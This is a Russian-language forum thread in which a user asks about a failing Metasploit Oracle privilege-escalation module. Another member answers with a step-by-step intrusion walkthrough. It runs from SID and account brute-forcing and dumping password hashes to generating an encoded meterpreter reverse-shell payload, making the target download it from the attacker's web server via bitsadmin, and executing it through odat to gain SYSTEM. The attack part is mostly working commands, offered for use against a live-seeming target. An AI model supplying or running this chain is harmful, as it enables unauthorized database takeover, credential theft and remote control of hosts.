PDA

Просмотр полной версии : Metasploit Oracle DB - модуль для повышения привилегий


i0404
23.01.2019, 06:59
Добрый день, есть проблема с Metasploit. Пытаюсь использовать модуль для повышения привилегий пользователя в БД:

auxiliary/sqli/oracle/lt_findricset_cursor

. После того как задаю все параметры получаю ошибку:

gem install ruby-oci8


В интернете есть эта rapid7/metasploit-framework инструкция по установке Oracle Client и Ruby но она почему то не совсем подходит.
Я использовал KaliLinux 2018.3. Как я понял в системе руби и руби в самом Metasploit и какая та проблема именно в этом. Есть ли тут люди разбиравшиеся с такой проблемой?
В инструкции что выше есть пункт такой

Код:



root@kali:~/ruby-oci8-ruby-oci8-2.1.8# export PATH=/opt/metasploit/ruby/bin:$PATH


но папки

opt/maslploit

не существует.

Vertigo
24.01.2019, 19:39
Принято,пока поднимаю просто вопрос в шапку форума ,он сложный,там надо payload генерировать при атаке на эту БД.
Отпишусь позже и поделюсь мыслями и решением.

Vertigo
24.01.2019, 22:23
В общем,голыми руками без подготовки такую БД не взять.
Покажу как можно атаковать такую БД без вышеприведённого модуля и скачивания доп.пакетов или установки самой БД.
Для этой БД актуальны такие порты как tcp-1521,22,23
Tns-listener взаимодействует с этой базой.

Код:



Проверяем nmap # nmap -n -sV IP -цели -p 1521


Если порт открыт ,то пробуем атаковать c Metasploit:

Код:



# msf > use auxiliary/admin/oracle/tnscmd
# > set RHOST IP -цели
# > run


Если ничего не получилось,то:

Код:



# > use auxiliary/scanner/oracle/sid_enum -но это сработает для старых версий.
# > show options
# > set ROSTS IP-цели
# > run


Если БД новая,то результат мы не получим.
И увы,но без брута не обойтись:

Код:



# use auxiliary/admin/oracle/sid_brute
# > show options
# > set RHOST IP-цели
# > run - можно использовать при этом свой словарь,а так-расчёт на словарик из Metasploit.


Если что -то выцыганилось из XE (found sid),то успех наполовину гарантирован.
И пытаемся достать учётные записи
Здесь мы не только уже можем запустить прослушиватель,но и брутить аккаунты:

Код:



# msf > use auxiliary/scanner/oracle/oracle_login
# > show options
# > set RHOSTS IP-цели
# > set RPORTS 1521
# > run


Надо иметь в виду ,что в БД Oracle предусмотрены политики безопасности,и после неудачных попыток брутфорса,аккаунты могут быть заблокированы.
Здесь используется принцип большинства,что аккаунтов может быть много и у них разные привелегии,возможно некоторые не будут отключены.
Задача сбрутить хоть один аккаунт,но желательно , чтобы привелегии были немного хотя бы завышены.

Если это всё получилось,то Респект.
Дело за повышением привелегий, нужна утилита Sqlplus,которой мы передадим логин с паролем и мы подключимся к Oracle:

Код:



# sqlpluse ЛОГИН/ПАРОЛЬ@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)( Host=IP-цели)(Port=1521))(CONNECT_DATA=(SID=XE)))


Если всё о,кей,то получаем тут же удалённую сессию и делаем запрос с получаем логинов и хэшей паролей юзеров:

Код:



# SQL > select username,password,account_status from dba_users;


А вот с получением shell всё гораздо сложнее.
Используется для этого наличие проведения java-техник,проверяем на возможность с помощью утилиты odat:

Код:



# /opt/odat# python odat.py java -s IP-цели -U Логин -P Пароль -d XE --test-module


Если ответ KO-java -то библиотека отсутствует и проверяем через планировщик dmsscheduller:

Код:



# /opt/odat# python odat.py dmsscheduller -s IP-цели -U Логин -P Пароль -d XE --test-module


Если ответ -OK,то это прекрасно.
Для залития shell,надо генерировать payload,к примеру:

Код:



# msfvenom -p windows/meterpreter/reverse_tcp -a х86 --platform windows -e x86/shikata_ga_nai -i 3 LHOST IP-атак.машины LPORT=4444-f exe > назв_файла.exe
# file назв_файла.exe
# mv назв_файла.exe /var/www/html - перенесли в каталог


Теперь,снова используем утилиту odat и заставим скачать цель наш файл встроенной утилитой в Винде bitsadmin как по http , так и по https-протоколам:

Код:



# /opt/odat# python odat.py dmsscheduler -s IP-цели -U Логин -P Пароль -d XE --ecec "C:\Windows\System32\cmd.exe /c bitsadmin /rawreturn /transfer getfiles http://IP-атак_машины/
назв_файла.exe C:\назв_файла.exe"


Мы должны увидеть успешное выполнение команды : Job is finish.
В случае с LInux используем wget.

Теперь, подключаем Metasploit :

Код:



# use exploit/multi/handler
# set PAYLOAD windows/meterpreter/reverse_tcp
# set LHOST IP -атак_машины
# > exploit


И запускаем закачанный бинарник с помощью odat с указанием пути до него:

Код:



# /opt/odat/# python odat.py dbmsscheduler -s IP-цели -U логин -P Пароль -d XE --exec "C:\назв_файла.exe"


В итоге,плучаем привелегии System ( проверяем командой getuid),т.к. Oracle часто устанавливается как системная служба.
Ну и смотрим корень диска С: ls C:\\
Эксплойты можно применять при этом различные.

P/S Конкретно по вопросу,попробуйте в начале установить отсюда Oracle, а потом то,что качали с Github.

i0404
25.01.2019, 06:40
Все это хорошо. Благодарю за расширенный ответ. Но у меня больше проблемы в работаспособности модулей. Я как понял из коробки метасплойт не поддерживает работу с ораклом. Нужно доставлять дополнительные вещи. У меня есть стандартная учетная запись к базе SCOTT TIGER я получил SID. База на 9 оракле.

i0404
25.01.2019, 10:29
это на каком языке было? )

Vertigo
25.01.2019, 10:48
Обычно ошибку с gem install ruby-oci8 решали как здесь
Причина также может быть в проблеме с библиотекой,или её отсутствии LD_LIBRARY_PATH,тогда сюда
На всякий случай,можно и сюда заглянуть

i0404
25.01.2019, 11:28
а не будет ли готовой виртуальной машины Кали с полным набором?

Vertigo
25.01.2019, 12:15
i0404 сказал(а):

а не будет ли готовой виртуальной машины Кали с полным набором?


У меня точно нет к сожалению. Может Коллеги ещё что-нибудь подскажут.